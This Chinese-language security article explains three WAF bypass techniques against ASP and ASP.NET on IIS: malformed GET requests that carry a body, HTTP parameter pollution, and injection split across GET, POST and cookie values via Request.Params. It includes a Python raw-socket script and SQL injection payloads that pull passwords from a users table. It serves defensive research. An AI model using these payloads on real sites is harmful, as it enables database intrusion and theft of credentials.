0×00 前言

    08年初诞生了一种SQL群注攻击，黑客在全球范围内对asp，asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入，黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改，可以在网站上无差别的进行网页木马攻击。

    互联网是快速更新迭代的，但是很多没有开发能力的单位都是通过外包建立网站，网站的程序一上线就再也无人维护，很多程序存在各种漏洞无法修补，于是WAF便有了市场，现今门槛低且最能解决问题的是针对IIS/apache的软件WAF，通常一个模块一个扩展就能搞定，当然也有耗资百万千万的硬件WAF，然而如果WAF拦截规则出现漏洞，这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢？所以本文主要解析一些可以绕过WAF的罕见漏洞，供安全人员参考。

    0×00 Request对象的包解析漏洞.

    asp和asp.net的Request对象存在一个包解析漏洞，Request对象对于GET和POST包的解析过于宽松，用一句话表达就是Request对象它GET和POST傻傻分不清楚，稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据，但是asp和.net库内置的Request对象完全不按RFC标准来，下面我们可以做个测试：

    

     分别将下面两段代码保存为1.asp和1.aspx

    使用asp的Request对象接收t参数传值

     ―――――――――――――――-

     ＜%

     Response.Write “Request:” & Request(“t”)

     %＞

     ―――――――――――――――-

    

    使用asp.net的Request对象接收t参数传值

     ―――――――――――――――-

     ＜%@ Page Language=”C#” %＞

     ＜%

     string test = Request["t"];

     Response.Write(“Request:”+test);

     %＞

     ―――――――――――――――-

    使用下面的python脚本调用socket发送原始的HTTP包

     ―――――――――――――――-

     #!/usr/bin/env python

    import socket

    host = ’192.168.239.129′

     path = ‘/1.asp’

     port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

     s.connect((host, port))

     s.settimeout(8)

    exploit_packet=”t=’/**/or/**/1=1-”

     exploit_packet+=”\\r\\n” * 8

     packet_length = len(exploit_packet)

     packet=’GET ‘ + path + ‘ HTTP/1.1\\r\\n’

     packet+=’Host: ‘ + host + ‘\\r\\n’

     packet+=’Content-Length: %s\\r\\n’ % packet_length

     packet+=’Content-Type: application/x-www-form-urlencoded\\r\\n’

     packet+=’\\r\\n’

     packet = packet + exploit_packet

    print packet

     s.send(packet)

     buf = s.recv(1000)

     if buf: print buf[buf.rfind("\\r\\n"):]

     s.close()

     ―――――――――――――――-

    

    我们发送的原始包是：

     GET /1.asp HTTP/1.1

     Host: 192.168.239.129

     Content-Length: 34

     Content-Type: application/x-www-form-urlencoded

    t=’/**/or/**/1=1-

    

    结果返回如下：

     Request:’/**/or/**/1=1-

     将python测试脚本的path改为/1.aspx测试页返回同样结果。

    我们可以看到这是一个畸形的HTTP GET请求包，这个包的奥秘在于t=’/**/or/**/1=1-参数后的8个回车换行，包的结构类似于一个POST包，而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。

    所以如果WAF没有处理好HTTP包的内容，沿用常规思路处理GET和POST的逻辑的话，那么这个畸形包将会毁掉WAF的基础防御。

    0×01 被遗忘的复参攻击.

    大家应该还记得09年的HTTP Parameter Pollution攻击，查看[3]文档，可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性，本文将利用这种的特性的攻击简称为复参攻击，用0X01里的例子简单的测试一下:

    用GET请求传入两个t参数

     GET http://192.168.239.129/1.asp?t=1&t=2

     将返回

     Request:1, 2

    asp和asp.net的Request对象接收了两个参数，并且以逗号分隔，所以便衍生出了[3]文档中的复参SQL注入方法：

    Vulnerable code：

     SQL=”select key from table where id=”+Request.QueryString(“id”)

    This request is successfully performed using the HPP technique：

     /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

    The SQL request becomes：

     select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

    我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句，如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?

    0×02 高级复参攻击.

    ASP.NET的Request对象有一个Params属性，ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据，参考[4]微软MSDN文档我们可以知道Params属性的特性，该属性接收GET,POST和Cooke的传值，这里我们可以修改0×00里的例子测试一下：

    使用asp.net的Request.Params方法接收t参数传值

     ―――――――――――――――-

     ＜%@ Page Language=”C#” %＞

     ＜%

     string test = Request.Params["t"];

     Response.Write(“Request:”+test);

     %＞

     ―――――――――――――――-

    发送一个POST包，GET,POST,COOKIE三个方法中都带有不同的t参数内容

     ―――――――――――――――-

     POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

     Host: 192.168.239.129

     Cookie: t=2

    t=3

     ―――――――――――――――-

    结果返回

     Request:1,3,2

    最后得出结论，Request.Params方法接收的数据是按照GPC顺序整合，看到这里的同学再联想到0×01的复参攻击应该如醍醐灌顶了，我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一项WAF针对这种高级复参攻击是否防御好了？

    0×03 后话

    WAF是不可能解决所有安全问题的，本文提出的思路归其本源实际上是WAF处理HTTP包与服务端处理HTTP包的差异造成的。互联网是不断更新迭代的，差异存在，类似的漏洞也会存在。

     本文提到了三种绕过WAF的思路，其中第三种高级复参攻击是由Safe3同学提出的，本文也是与Safe3同学讨论他开发的WAF的BUG而来，所以感谢Safe3同学。另外请大家不要将本文的内容用于非法途径，仅供安全人员参考，谢谢。

    参考：

     [1].http://www.faqs.org/rfcs/rfc2616.html

     [2].http://www.w3school.com.cn/asp/asp_ref_request.asp

     [3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf

     [4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx